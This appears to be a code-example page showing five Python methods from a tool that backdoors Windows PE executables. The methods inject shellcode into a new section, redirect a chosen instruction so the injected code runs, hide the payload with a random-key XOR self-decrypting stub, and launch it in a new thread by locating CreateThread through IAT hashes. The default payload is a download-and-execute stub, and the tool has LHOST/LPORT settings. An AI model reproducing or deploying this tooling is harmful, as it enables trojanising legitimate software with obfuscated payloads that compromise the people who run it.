예제 #1
0
 def do_patch(self, filename):
     '''
     do_patch, should be done with hex patch way, all input file should be xxx.bin
     :return:
     '''
     final_bin_path = common.locate_file(filename)
     with open(final_bin_path, 'rb') as f:
         with open(
                 os.path.join(common.locate_file_dir(filename),
                              'final_tmp.bin'), 'wb') as fb:
             final_bin_content = f.read()
             final_bin_content = self.basic_asm(
                 "pushfd; pushad") + final_bin_content + self.basic_asm(
                     "popad; popfd")  # pushfd; pushad; popad; popfd
             final_bin_content += self.basic_asm(
                 self.disasmble_patched_inst)
             final_bin_content += self.basic_asm("nop\n" * 5)
             fb.write(final_bin_content)
     self.pt = pepatch.Patcher(self.FILE)
     with open(common.locate_file('final_tmp.bin'), 'rb') as f:
         data = f.read()
         final_bin_addr, final_bin_len = self.pt.inject(raw=data)
         self.pt.patch(self.ADDR_PATCH, jmp=final_bin_addr)
         if self.disasmble_patched_inst.split(' ')[0] == 'call':
             self.pt.patch(final_bin_addr + final_bin_len - 10,
                           call=self.disasmble_patched_inst.split(' ')[1])
         self.pt.patch(final_bin_addr + final_bin_len - 5,
                       jmp=self.ADDR_PATCH + 5)
예제 #2
0
    def use_smc(self, data):
        '''
        This functiuon will use xor to encrypted a bin shellcode and add a decrypting-func before and then jump to it
        :param smc_key:
        :return: filepath_to_smc_file
        '''
        # init the random smc key, char in range(0, 255), length no more than 20
        for i in range(random.randint(1, 21)):
            self.smc_key += chr(random.randint(1, 255))
        SMC_key = self.smc_key
        logger.info("SMC_key: {}".format(self.smc_key))

        SMCed_data = ""
        config_file_name = "xor_config.asm"
        for i in range(len(data)):
            SMCed_data += chr(ord(data[i]) ^ ord(SMC_key[i % len(SMC_key)]))
        tmp_path = common.locate_dir('tmp')
        with open(os.path.join(tmp_path, config_file_name), 'w') as f:
            """
            ;   keySize
            ;   ptrSMCSize
            ;   ptrSMCFunc
            ;   key
            """
            code = [
                "[bits 32]\n",
                "[section .mtext]\n",
                "keySize:\n",
                "call $+5\npop ebx\nret\n",
                "dd 0x{0:x}\n".format(len(SMC_key)),
                "ptrSMCSize:\n",
                "call $+5\npop ebx\nret\n",
                "dd 0x{0:x}\n".format(len(data)),
                "key:\n",
                "call $+5\npop ebx\nret\n",
                "db '{}'\n".format(SMC_key),
                "ptrSMCFunc:\n",
                "call $+5\npop ebx\nret\n",
            ]
            line = ""
            for _index in range(len(SMCed_data)):
                if _index % 8 == 0:
                    line += "db 0x{0:02x}, ".format(ord(SMCed_data[_index]))
                elif (_index + 1) % 8 == 0:
                    line += "0x{0:02x},\n".format(ord(SMCed_data[_index]))
                else:
                    line += "0x{0:02x}, ".format(ord(SMCed_data[_index]))
            code.append(line)
            f.writelines(code)
        asm_path = common.locate_dir('asm')
        with open(os.path.join(asm_path, 'xor.asm'), 'r') as f:
            xor_asm = f.read()
            config_file_path = common.locate_file(config_file_name)
            xor_asm = xor_asm.format(xor_config_file=config_file_path)
            xor_tmp_name = "xor_tmp.asm"
            with open(os.path.join(tmp_path, xor_tmp_name), 'w') as f:
                f.write(xor_asm)
        return xor_tmp_name
예제 #3
0
 def set_config_file_and_build(self):
     """
     :return self.final_bin:
     """
     config_file_name = "config.asm"
     if self.SHELLCODE:
         shellcode_tmp = "shellcode_tmp.asm"
         self.final_bin = common.nasm_build(shellcode_tmp)
     if self.NEW_THREAD:
         create_thread_tmp = "create_thread_tmp.asm"
         self.final_bin = common.nasm_build(create_thread_tmp)
     if self.SMC:
         final_bin_path = common.locate_file(self.final_bin)
         with open(final_bin_path, 'r') as f:
             shellcode_data = f.read()
         SMC_file = self.use_smc(data=shellcode_data)
         self.final_bin = os.path.basename(common.nasm_build(SMC_file))
     return self.final_bin
예제 #4
0
    def __init__(self, FILE, ADDRESS):
        """
        Only Version: 0.1.1
        :param URL:
        :param FILE:
        :param ADDRESS:
        """

        logger.info('Start')

        self.FILE = FILE
        self.ADDR_PATCH = ADDRESS
        self.OUTPUT = None
        self.APPEND_SECTION = True
        self.SHELLCODE = common.locate_file('download_exec_tmp.asm')
        self.LHOST = None
        self.LPORT = None
        self.CFLAGS = None
        self.CAVE_FOUND = False
        self.LEN_SHELLCODE = None
        self.JUMP_CAVES = None
        self.SMC = True
        self.NEW_THREAD = True
예제 #5
0
    def append_section(self):
        """
        """
        if not self.ADDR_PATCH:
            logger.error(
                "\t'-a' option should be set, an address should be special to patch."
            )
            sys.exit(1)
        """
        support_shellcode_type = ['exe', 'dat', 'asm', 'dll', 'c', '', 'bin']
        if self.SHELLCODE:
            extension = os.path.basename(self.SHELLCODE).split('.')[1]
            if extension in support_shellcode_type:
                shellcode_type = extension
            else:
                logger.error("This is not a support shellcode type, supported type is:\n{0:s}".format("".join(support_shellcode_type, ' ')))
                sys.exit(1)
            pt = pepatch.Patcher(self.FILE)
            with open(self.SHELLCODE, 'r') as f:
                if shellcode_type == 'dat' or shellcode_type == '' or shellcode_type == 'bin':
                    shellcode = f.read()
                    shellcode_addr, shellcode_len = pt.inject(raw=shellcode)
                    self.NEW_THREAD = True
                if shellcode_type == 'asm':
                    shellcode = f.read()
                    shellcode_addr, shellcode_len = pt.inject(asm=shellcode)
        """

        support_shellcode_type = ['exe', 'dat', "asm", "dll", "c", "bin", ""]
        if not self.SHELLCODE:
            logger.error("One shellcode should be select.")
            logger.error("Entry of shellcode should be 0 offset.")
            sys.exit(1)
        extension = os.path.basename(self.SHELLCODE).split('.')[1]
        if extension in support_shellcode_type:
            shellcode_type = extension
        else:
            logger.error(
                "This is not a support shellcode type, supported type is:\n{0:s}"
                .format("".join(support_shellcode_type, ' ')))
            sys.exit(1)
        # write shellcode to a new file tmp/shellcode_tmp.asm
        with open(self.SHELLCODE, 'r') as f:
            if shellcode_type == 'dat' or shellcode_type == 'bin' or shellcode_type == '':
                shellcode = f.read()
                tmp_path = common.locate_dir('tmp')
                with open(os.path.join(tmp_path, 'shellcode_tmp.asm'),
                          'a') as sf:
                    db = [
                        "[bits 32]\n",
                        "[section .mtext]\n",
                    ]
                    line = ""
                    for _index in range(len(shellcode)):
                        if _index % 8 == 0:
                            line += "db 0x{0:02x}, ".format(
                                ord(shellcode[_index]))
                        elif (_index + 1) % 8 == 0:
                            line += "0x{0:02x},\n".format(
                                ord(shellcode[_index]))
                        else:
                            line += "0x{0:02x}, ".format(ord(
                                shellcode[_index]))
                    db.append(line)
                    sf.writelines(db)
            if shellcode_type == 'asm':
                shellcode = f.read()
                tmp_path = common.locate_dir('tmp')
                with open(os.path.join(tmp_path, 'shellcode_tmp.asm'),
                          'a') as sf:
                    sf.write(shellcode)

        patched_inst = self.disasmble_patched_inst
        logger.info(patched_inst)

        # new code use nasm
        if self.NEW_THREAD == True:
            if DEBUG == 1:
                # THis way to use IAT hash to locate CreateThread
                create_thread_file_path = common.locate_file(
                    'hash_call_IAT.asm')
                with open(create_thread_file_path, "r") as f:
                    create_thread_asm = f.read()
                    # touch a new file
                    tmp_path = common.locate_dir('tmp')
                    with open(os.path.join(tmp_path, "create_thread_tmp.asm"),
                              'w') as f:
                        include_file_name = "config.asm"
                        include_file_path = common.locate_file(
                            include_file_name)
                        search_api_asm_name = "hash_search_IAT.asm"
                        search_api_asm_path = common.locate_file(
                            search_api_asm_name)
                        shellcode_tmp_path = common.locate_file(
                            "shellcode_tmp.asm")
                        create_thread_tmp_asm = create_thread_asm.format(
                            include_file=include_file_path,
                            hash=0x38579A82,
                            shellcode=shellcode_tmp_path,
                            hash_search_IAT=search_api_asm_path,
                        )
                        f.write(create_thread_tmp_asm)
            else:
                create_thread_file_path = common.locate_file(
                    'create_thread.asm')
                with open(create_thread_file_path, "r") as f:
                    create_thread_asm = f.read()
                    # touch a new file
                    tmp_path = common.locate_dir('tmp')
                    with open(os.path.join(tmp_path, "create_thread_tmp.asm"),
                              'w') as f:
                        # include_file_name = "config.asm"
                        # include_file_path = common.locate_file(include_file_name)
                        search_api_asm_name = "search_api.asm"
                        search_api_asm_path = common.locate_file(
                            search_api_asm_name)
                        shellcode_tmp_path = common.locate_file(
                            "shellcode_tmp.asm")
                        create_thread_tmp_asm = create_thread_asm.format(  # include_file=include_file_path,
                            shellcode=shellcode_tmp_path,
                            search_api_path=search_api_asm_path,
                        )
                        f.write(create_thread_tmp_asm)
            # patch will do later
            '''